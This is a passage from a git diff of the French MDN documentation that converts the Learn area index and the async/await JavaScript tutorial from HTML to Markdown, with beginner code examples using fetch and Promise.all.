un message sur notre [Forum de discussion](https://discourse.mozilla.org/c/mdn). + +> **Remarque :** +> +> Vous voulez devenir un développeur web front-end ? +> +> Nous avons mis au point un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif. +> +> [Commencer](/fr/docs/Learn/Front-end_web_developer) + +## Par où commencer ? + +- Complètement débutant + - : Si vous êtes totalement débutant dans le développement web, nous vous recommandons de commencer par travailler notre module [« Premiers pas sur le Web »](/fr/docs/Learn/Getting_started_with_the_web), qui est une introduction pratique au développement web. +- Au-delà des bases + - : Si vous possédez déjà quelques connaissances, l'étape suivante consiste à étudier en détail le {{glossary("HTML")}} et les {{glossary("CSS")}} : débutez avec notre module [Introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML), puis voyez le module [Introduction aux CSS](/fr/docs/Learn/CSS/First_steps). +- Écrire des scripts + - : Si vous êtes déjà à l'aise avec le HTML et les CSS, ou si vous êtes plutôt intéressé par le codage, voyez le {{glossary("JavaScript")}} ou le développement côté serveur. Commencez par nos modules [JavaScript : premiers pas](/fr/docs/Learn/JavaScript/First_steps) et [Premiers pas côté serveur](/fr/docs/Learn/Server-side/First_steps). +- Les _frameworks_ et l'outillage + - : Lorsque vous aurez appris l'essentiel de HTML, CSS, et JavaScript, vous devriez étudier [les outils de développement web côté client](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools) et éventuellement approfondir [les _frameworks_ JavaScript côté client](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks), ainsi [que la programmation des sites web côté serveur](/fr/docs/Learn/Server-side). + +> **Note :** Notre [Glossaire](/fr/docs/Glossary) fournit des définitions de la terminologie employée. + +{{LearnBox({"title":"Entrée aléatoire dans le glossaire"})}} + +## Rubriques couvertes + +Voici une liste de toutes les rubriques couvertes dans la zone d'apprentissage de MDN. + +- [Débuter avec le développement web](/fr/docs/Learn/Getting_started_with_the_web) + - : Une introduction pratique au développement web pour les vrais débutants. +- [HTML — structuration du Web](/fr/docs/Learn/HTML) + - : Le HTML est le langage utilisé pour structurer les diverses parties d'un contenu et définir leur signification et leur rôle. Cet article vous enseigne le HTML en détail. +- [CSS — mise en forme du Web](/fr/docs/Learn/CSS) + - : CSS est le langage que nous pouvons aussi bien utiliser pour styliser et mettre en forme les contenus web que pour ajouter des comportements tel l'animation. Cet article couvre exhaustivement les CSS. +- [JavaScript — des scripts dynamiques coté client](/fr/docs/Learn/JavaScript) + - : C'est le langage de script utilisé pour ajouter des fonctionnalités dynamiques aux pages web. Cet article enseigne les fondamentaux nécessaires pour comprendre et écrire aisément du JavaScript. +- [Les formulaires web — Manipuler les données saisies par les utilisateurs](/fr/docs/Learn/Forms) + - : Les formulaires web sont un outil puissant pour interagir avec les utilisateurs. Ils permettent notamment de collecter des données ou d'offrir aux utilisateurs la possibilité de contrôler l'interface qu'ils utilisent. Dans ces articles, nous verrons les aspects essentiels sur la structure, la mise en forme et les interactions avec les formulaires web. +- [Accessibilité — rendre le Web utilisable par tous](/fr/docs/Learn/Accessibility) + - : L'accessibilité consiste à rendre le contenu web disponible au plus grand nombre de personnes possible quels que soient leur handicap, leur matériel, leur résidence ou autres différences. Cet article fournit tout le savoir nécessaire. +- [Performances du Web - rendre les sites web rapides et dynamiques](/fr/docs/Learn/Performance) + - : La performance web est l'art de s'assurer que les applications web se téléchargent rapidement et sont réactives à l'interaction de l'utilisateur, indépendamment de la bande passante, de la taille de l'écran, du réseau ou des capacités du dispositif de l'utilisateur. +- [Outils et tests](/fr/docs/Learn/Tools_and_testing) + - : Cette rubrique présente les outils que les développeurs utilisent pour faciliter leur travail, tels que les outils de test inter-navigateurs, les _linters_, les outils de transformations et de mise en forme, les systèmes de gestion de version, et les outils de déploiement. +- [Programmation de site web coté serveur](/fr/docs/Learn/Server-side) + - : Même si vous êtes focalisés sur le développement côté client, il est toujours utile de connaître le mode de fonctionnement des serveurs et des fonctionnalités du code côté serveur. Cette rubrique fournit une introduction générale sur le fonctionnement côté serveur et des didacticiels détaillant la manière de créer une application côté serveur à l'aide de deux environnements applicatifs populaires : Django (en Python) et Express (Node.js). + +## Obtenir nos exemples de code + +Les exemples de code que vous rencontrerez dans l'Espace d'apprentissage sont tous [disponibles sur GitHub](https://github.com/mdn/learning-area/). Si vous souhaitez les copier tous sur votre ordinateur, le plus simple est de [télécharger un ZIP de la dernière branche du code principal](https://github.com/mdn/learning-area/archive/master.zip). + +Si vous préférez copier le dépôt d'une manière plus flexible qui permet des mises à jour automatiques, vous pouvez suivre les instructions plus complexes : + +1. [Installer Git](https://git-scm.com/downloads) sur votre machine. C'est le logiciel sous-jacent de contrôle de version sur lequel GitHub fonctionne. +2. [S'inscrire pour obtenir un compte GitHub](https://github.com/join). +3. Une fois inscrit, se connecter dans [github.com](https://github.com) avec votre nom d'utilisateur et votre mot de passe. +4. Ouvrir l'[invite de commande](https://www.lifewire.com/how-to-open-command-prompt-2618089) (Windows) ou un terminal ([Linux](https://help.ubuntu.com/community/UsingTheTerminal), [macOS](http://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line)). +5. Pour copier depuis le dépôt de l'espace d'apprentissage un répertoire nommé « learning-area » à l'emplacement courant dans votre ordinateur, utilisez la commande suivante : + + ```bash + git clone https://github.com/mdn/learning-area + ``` + +6. Vous pouvez maintenant saisir le répertoire et retrouver les fichiers recherchés (soit avec votre explorateur de fichiers ou avec la [commande `cd`](<https://en.wikipedia.org/wiki/Cd_(command)>)). + +Vous pouvez mettre à jour le dépôt de `learning-area` pour tout changement intervenu sur la version principale « main » de GitHub en parcourant les étapes suivantes : + +1. Dans votre terminal/invite de commande, allez dans le répertoire `learning-area` avec `cd`. Par exemple, si vous êtes dans son répertoire parent : + + ```bash + cd learning-area + ``` + +2. Mettez à jour le dépôt avec la commande : + + ```bash + git pull + ``` + +## Nous contacter + +Si vous voulez nous contacter au sujet de quoi que ce soit, le meilleur moyen est de nous envoyer un message sur le [fil de discussion de l'Espace d'apprentissage](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294). N'hésitez pas à nous faire part de tout ce que vous pensez être erroné ou manquant sur le site, des demandes de nouveaux sujets d'apprentissage, des demandes d'aide pour des éléments que vous ne comprenez pas ou toute autre question ou préoccupation. + +Si vous êtes intéressé pour aider à développer/améliorer le contenu, jetez un coup d'œil à la [façon dont vous pouvez aider](/fr/docs/MDN/Contribute), et contactez-nous ! Nous sommes plus qu'heureux de parler avec vous, que vous soyez un apprenti, un enseignant, un développeur web expérimenté ou quelqu'un d'autre intéressé à améliorer l'expérience d'apprentissage. + +## Voir aussi + +- [Mozilla Developer Newsletter](https://www.mozilla.org/en-US/newsletter/developer/) + - : Notre newsletter pour les développeurs web, une grande aide pour tous niveaux de compétence. +- [Learn JavaScript](https://learnjavascript.online/) + - : Une excellente ressource pour les futurs développeurs web - Apprenez JavaScript dans un environnement interactif, avec des leçons courtes et des tests interactifs, avec une évaluation automatisée. Les 40 premières leçons sont gratuites, et le cours complet est disponible contre un petit paiement unique. +- [Web demystified](https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g) + - : Une grande série de vidéos expliquant les principes fondamentaux du Web, destinée aux débutants absolus en matière de développement web. Créé par [Jérémie Patonnier](https://twitter.com/JeremiePat). +- [Codecademy](https://www.codecademy.com/) + - : Un site interactif pour apprendre les langages de programmation à partir du début. +- [BitDegree](https://www.bitdegree.org/learn/) + - : Théorie de base du codage avec un processus d'apprentissage ludique. Principalement destiné aux débutants. +- [Code.org](https://code.org/) + - : Théories de codage de base et pratique, destiné essentiellement aux enfants et aux débutants. +- [EXLskills](https://exlskills.com/learn-en/courses) + - : Cours gratuits et ouverts pour l'acquisition de compétences techniques, avec mentorat et apprentissage par projet. +- [freeCodeCamp.org](https://www.freecodecamp.org/) + - : Site interactif avec didacticiels et projets pour apprendre le développement web. +- [Web literacy map](https://foundation.mozilla.org/en/initiatives/web-literacy/core-curriculum/) + + - : Un _framework_ pour l'initiation à la maîtrise du Web et aux compétences du XXI + + <sup>e</sup> + + siècle, qui donne également accès à des activités d'enseignement classées par catégorie. + +- [Edabit](https://edabit.com/challenges) + - : Des milliers de défis JavaScript interactifs. diff --git a/files/fr/learn/index/index.md b/files/fr/learn/index/index.md index 040b4c9da2..9edb6a5134 100644 --- a/files/fr/learn/index/index.md +++ b/files/fr/learn/index/index.md @@ -9,4 +9,4 @@ tags: translation_of: Learn/Index original_slug: Apprendre/Index --- -<p>{{Index("/fr/docs/Apprendre")}}</p> +{{Index("/fr/docs/Apprendre")}} diff --git a/files/fr/learn/javascript/asynchronous/async_await/index.md b/files/fr/learn/javascript/asynchronous/async_await/index.md index 5955c0f27f..a7578c08e1 100644 --- a/files/fr/learn/javascript/asynchronous/async_await/index.md +++ b/files/fr/learn/javascript/asynchronous/async_await/index.md @@ -13,17 +13,19 @@ tags: - await translation_of: Learn/JavaScript/Asynchronous/Async_await --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}</div> - -<p>Plus récemment, les <a href="/fr/docs/Web/JavaScript/Reference/Statements/async_function">fonctions async</a> et le mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Operators/await">await</a></code> ont été ajoutés au langage JavaScript avec l'édition intitulée ECMAScript 2017. Ces fonctionnalités agissent essentiellement comme du sucre syntaxique sur les promesses, rendant le code asynchrone plus facile à écrire et à lire par la suite. Elles font en sorte que le code asynchrone ressemble davantage au code synchrone de la vieille école, et elles valent donc la peine d'être apprises. Cet article fournit les informations à connaître.</p> +Plus récemment, les [fonctions async](/fr/docs/Web/JavaScript/Reference/Statements/async_function) et le mot-clé [`await`](/fr/docs/Web/JavaScript/Reference/Operators/await) ont été ajoutés au langage JavaScript avec l'édition intitulée ECMAScript 2017. Ces fonctionnalités agissent essentiellement comme du sucre syntaxique sur les promesses, rendant le code asynchrone plus facile à écrire et à lire par la suite. Elles font en sorte que le code asynchrone ressemble davantage au code synchrone de la vieille école, et elles valent donc la peine d'être apprises. Cet article fournit les informations à connaître. <table class="standard-table"> <tbody> <tr> <th scope="row">Prérequis :</th> - <td>Connaissances informatiques de base, compréhension raisonnable des principes fondamentaux de JavaScript, compréhension du code asynchrone en général et des promesses.</td> + <td> + Connaissances informatiques de base, compréhension raisonnable des + principes fondamentaux de JavaScript, compréhension du code asynchrone + en général et des promesses. + </td> </tr> <tr> <th scope="row">Objectif :</th> @@ -32,93 +34,110 @@ translation_of: Learn/JavaScript/Asynchronous/Async_await </tbody> </table> -<h2 id="the_basics_of_asyncawait">Les bases de async/await</h2> +## Les bases de async/await -<p>L'utilisation <code>async/await</code> dans votre code comporte deux parties.</p> +L'utilisation `async/await` dans votre code comporte deux parties. -<h3 id="the_async_keyword">Le mot-clé async</h3> +### Le mot-clé async -<p>Tout d'abord, nous avons le mot-clé <code>async</code>, que vous mettez devant une déclaration de fonction pour la transformer en une <a href="/fr/docs/Web/JavaScript/Reference/Statements/async_function">fonction asynchrone</a>. Une fonction asynchrone est une fonction qui saura réagir à une éventuelle utilisation du mot-clé <code>await</code> pour invoquer du code asynchrone.</p> +Tout d'abord, nous avons le mot-clé `async`, que vous mettez devant une déclaration de fonction pour la transformer en une [fonction asynchrone](/fr/docs/Web/JavaScript/Reference/Statements/async_function). Une fonction asynchrone est une fonction qui saura réagir à une éventuelle utilisation du mot-clé `await` pour invoquer du code asynchrone. -<p>Essayez de taper les lignes suivantes dans la console JS de votre navigateur :</p> +Essayez de taper les lignes suivantes dans la console JS de votre navigateur : -<pre class="brush: js">function hello() { return "Bonjour" }; -hello();</pre> +```js +function hello() { return "Bonjour" }; +hello(); +``` -<p>La fonction renvoie « Bonjour » — rien de spécial, n'est-ce pas ?</p> +La fonction renvoie « Bonjour » — rien de spécial, n'est-ce pas ? -<p>Mais que se passe-t-il si nous transformons cette fonction en une fonction asynchrone ? Essayez ce qui suit :</p> +Mais que se passe-t-il si nous transformons cette fonction en une fonction asynchrone ? Essayez ce qui suit : -<pre class="brush: js">async function hello() { return "Bonjour" }; -hello();</pre> +```js +async function hello() { return "Bonjour" }; +hello(); +``` -<p>Ah. L'invocation de la fonction renvoie maintenant une promesse. C'est l'une des caractéristiques des fonctions asynchrones - leurs valeurs de retour sont nécessairement converties en promesses.</p> +Ah. L'invocation de la fonction renvoie maintenant une promesse. C'est l'une des caractéristiques des fonctions asynchrones - leurs valeurs de retour sont nécessairement converties en promesses. -<p>Vous pouvez également créer une <a href="/fr/docs/Web/JavaScript/Reference/Operators/async_function">expression de fonction asynchrone</a>, comme suit :</p> +Vous pouvez également créer une [expression de fonction asynchrone](/fr/docs/Web/JavaScript/Reference/Operators/async_function), comme suit : -<pre class="brush: js">let hello = async function() { return "Bonjour" }; -hello();</pre> +```js +let hello = async function() { return "Bonjour" }; +hello(); +``` -<p>Et vous pouvez utiliser les fonctions fléchées :</p> +Et vous pouvez utiliser les fonctions fléchées : -<pre class="brush: js">let hello = async () => { return "Bonjour" };</pre> +```js +let hello = async () => { return "Bonjour" }; +``` -<p>Elles font toutes à peu près la même chose.</p> +Elles font toutes à peu près la même chose. -<p>Pour consommer réellement la valeur renvoyée lorsque la promesse se réalise, puisqu'elle renvoie une promesse, nous pourrions utiliser un bloc <code>.then()</code> :</p> +Pour consommer réellement la valeur renvoyée lorsque la promesse se réalise, puisqu'elle renvoie une promesse, nous pourrions utiliser un bloc `.then()` : -<pre class="brush: js">hello().then((value) => console.log(value));</pre> +```js +hello().then((value) => console.log(value)); +``` -<p>ou même simplement un raccourci tel que</p> +ou même simplement un raccourci tel que -<pre class="brush: js">hello().then(console.log);</pre> +```js +hello().then(console.log); +``` -<p>Comme nous l'avons vu dans l'article précédent.</p> +Comme nous l'avons vu dans l'article précédent. -<p>Ainsi, le mot-clé <code>async</code> est ajouté aux fonctions pour leur indiquer de retourner une promesse plutôt que de retourner directement la valeur.</p> +Ainsi, le mot-clé `async` est ajouté aux fonctions pour leur indiquer de retourner une promesse plutôt que de retourner directement la valeur. -<h3 id="the_await_keyword">Le mot-clé await</h3> +### Le mot-clé await -<p>L'avantage d'une fonction asynchrone ne devient apparent que lorsque vous la combinez avec le mot-clé <code>await</code>. <code>await</code> ne fonctionne qu'à l'intérieur de fonctions asynchrones dans du code JavaScript ordinaire, mais il peut être utilisé seul avec <a href="/fr/docs/Web/JavaScript/Guide/Modules">des modules JavaScript</a>.</p> +L'avantage d'une fonction asynchrone ne devient apparent que lorsque vous la combinez avec le mot-clé `await`. `await` ne fonctionne qu'à l'intérieur de fonctions asynchrones dans du code JavaScript ordinaire, mais il peut être utilisé seul avec [des modules JavaScript](/fr/docs/Web/JavaScript/Guide/Modules). -<p><code>await</code> peut être placé devant toute fonction asynchrone basée sur une promesse pour mettre en pause votre code sur cette ligne jusqu'à ce que la promesse se réalise, puis retourner la valeur résultante.</p> +`await` peut être placé devant toute fonction asynchrone basée sur une promesse pour mettre en pause votre code sur cette ligne jusqu'à ce que la promesse se réalise, puis retourner la valeur résultante. -<p>Vous pouvez utiliser <code>await</code> lors de l'appel de toute fonction qui renvoie une promesse, y compris les fonctions de l'API web.</p> +Vous pouvez utiliser `await` lors de l'appel de toute fonction qui renvoie une promesse, y compris les fonctions de l'API web. -<p>Voici un exemple trivial :</p> +Voici un exemple trivial : -<pre class="brush: js">async function hello() { +```js +async function hello() { return salutation = await Promise.resolve("Bonjour"); }; -hello().then(console.log);</pre> +hello().then(console.log); +``` -<p>Bien sûr, l'exemple ci-dessus n'est pas très utile, même s'il sert à illustrer la syntaxe. Passons maintenant à un exemple réel.</p> +Bien sûr, l'exemple ci-dessus n'est pas très utile, même s'il sert à illustrer la syntaxe. Passons maintenant à un exemple réel. -<h2 id="rewriting_promise_code_with_asyncawait">Réécriture du code des promesses avec async/await</h2> +## Réécriture du code des promesses avec async/await -<p>Reprenons un exemple simple de récupération que nous avons vu dans l'article précédent :</p> +Reprenons un exemple simple de récupération que nous avons vu dans l'article précédent : -<pre class="brush: js">fetch('coffee.jpg') -.then(response => { +```js +fetch('coffee.jpg') +.then(response => { if (!response.ok) { throw new Error(`Erreur HTTP ! statut : ${response.status}`); } return response.blob(); }) -.then(myBlob => { +.then(myBlob => { let objectURL = URL.createObjectURL(myBlob); let image = document.createElement('img'); image.src = objectURL; document.body.appendChild(image); }) -.catch(e => { +.catch(e => { console.log('Il y a eu un problème avec votre opération de récupération : ' + e.message); -});</pre> +}); +``` -<p>À ce stade, vous devriez avoir une compréhension raisonnable des promesses et de leur fonctionnement, mais convertissons le tout en utilisant async/await pour voir à quel point cela simplifie les choses :</p> +À ce stade, vous devriez avoir une compréhension raisonnable des promesses et de leur fonctionnement, mais convertissons le tout en utilisant async/await pour voir à quel point cela simplifie les choses : -<pre class="brush: js">async function myFetch() { +```js +async function myFetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { @@ -134,15 +153,17 @@ hello().then(console.log);</pre> } myFetch() -.catch(e => { +.catch(e => { console.log('Il y a eu un problème avec votre opération de récupération : ' + e.message); -});</pre> +}); +``` -<p>Cela rend le code beaucoup plus simple et plus facile à comprendre — plus de blocs <code>.then()</code> partout !</p> +Cela rend le code beaucoup plus simple et plus facile à comprendre — plus de blocs `.then()` partout ! -<p>Étant donné qu'un mot-clé <code>async</code> transforme une fonction en promesse, vous pourriez remanier votre code pour utiliser une approche hybride de promesses et de <code>await</code>, en faisant sortir la seconde moitié de la fonction dans un nouveau bloc pour la rendre plus flexible :</p> +Étant donné qu'un mot-clé `async` transforme une fonction en promesse, vous pourriez remanier votre code pour utiliser une approche hybride de promesses et de `await`, en faisant sortir la seconde moitié de la fonction dans un nouveau bloc pour la rendre plus flexible : -<pre class="brush: js">async function myFetch() { +```js +async function myFetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { throw new Error(`Erreur HTTP ! statut : ${response.status}`); @@ -151,38 +172,42 @@ myFetch() } -myFetch().then((blob) => { +myFetch().then((blob) => { let objectURL = URL.createObjectURL(blob); let image = document.createElement('img'); image.src = objectURL; document.body.appendChild(image); -}).catch(e => console.log(e));</pre> +}).catch(e => console.log(e)); +``` -<p>Vous pouvez essayer de taper vous-même l'exemple, ou d'exécuter notre <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await.html">exemple en direct</a> (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await.html">code source</a>).</p> +Vous pouvez essayer de taper vous-même l'exemple, ou d'exécuter notre [exemple en direct](https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await.html)). -<h3 id="but_how_does_it_work">Mais comment est-ce que cela fonctionne ?</h3> +### Mais comment est-ce que cela fonctionne ? -<p>Vous remarquerez que nous avons enveloppé le code à l'intérieur d'une fonction, et que nous avons inclus le mot-clé <code>async</code> avant le mot-clé <code>function</code>. C'est nécessaire - vous devez créer une fonction async pour définir un bloc de code dans lequel vous exécuterez votre code async ; comme nous l'avons dit précédemment, <code>await</code> ne fonctionne qu'à l'intérieur de fonctions async.</p> +Vous remarquerez que nous avons enveloppé le code à l'intérieur d'une fonction, et que nous avons inclus le mot-clé `async` avant le mot-clé `function`. C'est nécessaire - vous devez créer une fonction async pour définir un bloc de code dans lequel vous exécuterez votre code async ; comme nous l'avons dit précédemment, `await` ne fonctionne qu'à l'intérieur de fonctions async. -<p>À l'intérieur de la définition de la fonction <code>myFetch()</code>, vous pouvez voir que le code ressemble beaucoup à la version précédente de la promesse, mais il y a quelques différences. Au lieu de devoir enchaîner un bloc <code>.then()</code> à la fin de chaque méthode basée sur une promesse, il suffit d'ajouter un mot-clé <code>await</code> avant l'appel de la méthode, puis d'affecter le résultat à une variable. Le mot-clé <code>await</code> fait en sorte que le moteur d'exécution JavaScript mette votre code en pause sur cette ligne, ne permettant pas à d'autres codes de s'exécuter entre-temps jusqu'à ce que l'appel de fonction asynchrone ait retourné son résultat - très utile si le code suivant dépend de ce résultat !</p> +À l'intérieur de la définition de la fonction `myFetch()`, vous pouvez voir que le code ressemble beaucoup à la version précédente de la promesse, mais il y a quelques différences. Au lieu de devoir enchaîner un bloc `.then()` à la fin de chaque méthode basée sur une promesse, il suffit d'ajouter un mot-clé `await` avant l'appel de la méthode, puis d'affecter le résultat à une variable. Le mot-clé `await` fait en sorte que le moteur d'exécution JavaScript mette votre code en pause sur cette ligne, ne permettant pas à d'autres codes de s'exécuter entre-temps jusqu'à ce que l'appel de fonction asynchrone ait retourné son résultat - très utile si le code suivant dépend de ce résultat ! -<p>Une fois que c'est terminé, votre code continue à s'exécuter à partir de la ligne suivante. Par exemple :</p> +Une fois que c'est terminé, votre code continue à s'exécuter à partir de la ligne suivante. Par exemple : -<pre class="brush: js">let response = await fetch('coffee.jpg');</pre> +```js +let response = await fetch('coffee.jpg'); +``` -<p>La réponse retournée par la promesse <code>fetch()</code> remplie est affectée à la variable <code>response</code> lorsque cette réponse devient disponible, et le parseur fait une pause sur cette ligne jusqu'à ce que cela se produise. Une fois que la réponse est disponible, le parseur passe à la ligne suivante, qui crée un <code><a href="/fr/docs/Web/API/Blob">Blob</a></code> à partir de celle-ci. Cette ligne invoque également une méthode async basée sur les promesses, nous utilisons donc <code>await</code> ici aussi. Lorsque le résultat de l'opération revient, nous le retournons hors de la fonction <code>myFetch()</code>.</p> +La réponse retournée par la promesse `fetch()` remplie est affectée à la variable `response` lorsque cette réponse devient disponible, et le parseur fait une pause sur cette ligne jusqu'à ce que cela se produise. Une fois que la réponse est disponible, le parseur passe à la ligne suivante, qui crée un [`Blob`](/fr/docs/Web/API/Blob) à partir de celle-ci. Cette ligne invoque également une méthode async basée sur les promesses, nous utilisons donc `await` ici aussi. Lorsque le résultat de l'opération revient, nous le retournons hors de la fonction `myFetch()`. -<p>Cela signifie que lorsque nous appelons la fonction <code>myFetch()</code>, elle retourne une promesse, de sorte que nous pouvons enchaîner un <code>.then()</code> à la fin de celle-ci à l'intérieur duquel nous gérons l'affichage du blob à l'écran.</p> +Cela signifie que lorsque nous appelons la fonction `myFetch()`, elle retourne une promesse, de sorte que nous pouvons enchaîner un `.then()` à la fin de celle-ci à l'intérieur duquel nous gérons l'affichage du blob à l'écran. -<p>Vous vous dites probablement déjà « c'est vraiment cool ! », et vous avez raison — moins de blocs <code>.then()</code> pour envelopper le code, et cela ressemble surtout à du code synchrone, donc c'est vraiment intuitif.</p> +Vous vous dites probablement déjà « c'est vraiment cool ! », et vous avez raison — moins de blocs `.then()` pour envelopper le code, et cela ressemble surtout à du code synchrone, donc c'est vraiment intuitif. -<h3 id="adding_error_handling">Ajout de la gestion des erreurs</h3> +### Ajout de la gestion des erreurs -<p>Si vous voulez ajouter la gestion des erreurs, vous avez plusieurs options.</p> +Si vous voulez ajouter la gestion des erreurs, vous avez plusieurs options. -<p>Vous pouvez utiliser une structure synchrone <code><a href="/fr/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> avec <code>async</code>/<code>await</code>. Cet exemple développe la première version du code que nous avons montré ci-dessus :</p> +Vous pouvez utiliser une structure synchrone [`try...catch`](/fr/docs/Web/JavaScript/Reference/Statements/try...catch) avec `async`/`await`. Cet exemple développe la première version du code que nous avons montré ci-dessus : -<pre class="brush: js">async function myFetch() { +```js +async function myFetch() { try { let response = await fetch('coffee.jpg'); @@ -200,13 +225,15 @@ myFetch().then((blob) => { } } -myFetch();</pre> +myFetch(); +``` -<p>Le bloc <code>catch() {}</code> reçoit un objet d'erreur, que nous avons appelé <code>e</code> ; nous pouvons maintenant l'enregistrer dans la console, et il nous donnera un message d'erreur détaillé montrant où dans le code l'erreur a été lancée.</p> +Le bloc `catch() {}` reçoit un objet d'erreur, que nous avons appelé `e` ; nous pouvons maintenant l'enregistrer dans la console, et il nous donnera un message d'erreur détaillé montrant où dans le code l'erreur a été lancée. -<p>Si vous vouliez utiliser la deuxième version (remaniée) du code que nous avons montré ci-dessus, il serait préférable de continuer l'approche hybride et d'enchaîner un bloc <code>.catch()</code> à la fin de l'appel <code>.then()</code>, comme ceci :</p> +Si vous vouliez utiliser la deuxième version (remaniée) du code que nous avons montré ci-dessus, il serait préférable de continuer l'approche hybride et d'enchaîner un bloc `.catch()` à la fin de l'appel `.then()`, comme ceci : -<pre class="brush: js">async function myFetch() { +```js +async function myFetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { throw new Error(`Erreur HTTP ! statut : ${response.status}`); @@ -215,32 +242,32 @@ myFetch();</pre> } -myFetch().then((blob) => { +myFetch().then((blob) => { let objectURL = URL.createObjectURL(blob); let image = document.createElement('img'); image.src = objectURL; document.body.appendChild(image); }) -.catch((e) => +.catch((e) => console.log(e) -);</pre> +); +``` -<p>En effet, le bloc <code>.catch()</code> attrapera les erreurs survenant à la fois dans l'appel de fonction asynchrone et dans la chaîne de promesses. Si vous utilisiez le bloc <code>try</code>/<code>catch</code> ici, vous pourriez toujours obtenir des erreurs non gérées dans la fonction <code>myFetch()</code> lorsqu'elle est appelée.</p> +En effet, le bloc `.catch()` attrapera les erreurs survenant à la fois dans l'appel de fonction asynchrone et dans la chaîne de promesses. Si vous utilisiez le bloc `try`/`catch` ici, vous pourriez toujours obtenir des erreurs non gérées dans la fonction `myFetch()` lorsqu'elle est appelée. -<p>Vous pouvez trouver ces deux exemples sur GitHub :</p> +Vous pouvez trouver ces deux exemples sur GitHub : -<ul> - <li><a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await-try-catch.html">simple-fetch-async-await-try-catch.html</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await-try-catch.html">code source</a>)</li> - <li><a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await-promise-catch.html">simple-fetch-async-await-promise-catch.html</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await-promise-catch.html">code source</a>)</li> -</ul> +- [simple-fetch-async-await-try-catch.html](https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await-try-catch.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await-try-catch.html)) +- [simple-fetch-async-await-promise-catch.html](https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await-promise-catch.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await-promise-catch.html)) -<h2 id="awaiting_a_promise.all">En attente d'un Promise.all()</h2> +## En attente d'un Promise.all() -<p><code>async</code>/<code>await</code> est construit au-dessus de <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise" >Promises</a>, il est donc compatible avec toutes les fonctionnalités offertes par les promesses. Cela inclut <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise.all()</a></code> — vous pouvez tout à fait attendre un appel <code>Promise.all()</code> pour obtenir tous les résultats retournés dans une variable d'une manière qui ressemble à du simple code synchrone. Encore une fois, revenons à <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">un exemple que nous avons vu dans notre article précédent</a>. Gardez-le ouvert dans un onglet séparé afin de pouvoir le comparer avec la nouvelle version présentée ci-dessous.</p> +`async`/`await` est construit au-dessus de [Promises](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise), il est donc compatible avec toutes les fonctionnalités offertes par les promesses. Cela inclut [`Promise.all()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) — vous pouvez tout à fait attendre un appel `Promise.all()` pour obtenir tous les résultats retournés dans une variable d'une manière qui ressemble à du simple code synchrone. Encore une fois, revenons à [un exemple que nous avons vu dans notre article précédent](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html). Gardez-le ouvert dans un onglet séparé afin de pouvoir le comparer avec la nouvelle version présentée ci-dessous. -<p>En convertissant cela en <code>async</code>/<code>await</code> (voir la <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-all-async-await.html">démo live</a> et le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-all-async-await.html">code source</a>), cela ressemble maintenant à ceci :</p> +En convertissant cela en `async`/`await` (voir la [démo live](https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-all-async-await.html) et le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-all-async-await.html)), cela ressemble maintenant à ceci : -<pre class="brush: js">async function fetchAndDecode(url, type) { +```js +async function fetchAndDecode(url, type) { let response = await fetch(url); let content; @@ -282,31 +309,33 @@ async function displayContent() { } displayContent() -.catch((e) => +.catch((e) => console.log(e) -);</pre> +); +``` -<p>Vous verrez que la fonction <code>fetchAndDecode()</code> a été convertie facilement en fonction asynchrone avec seulement quelques modifications. Voir la ligne <code>Promise.all()</code> :</p> +Vous verrez que la fonction `fetchAndDecode()` a été convertie facilement en fonction asynchrone avec seulement quelques modifications. Voir la ligne `Promise.all()` : -<pre class="brush: js">let values = await Promise.all([coffee, tea, description]);</pre> +```js +let values = await Promise.all([coffee, tea, description]); +``` -<p>En utilisant <code>await</code> ici, nous sommes en mesure d'obtenir tous les résultats des trois promesses retournées dans le tableau <code>values</code>, quand ils sont tous disponibles, d'une manière 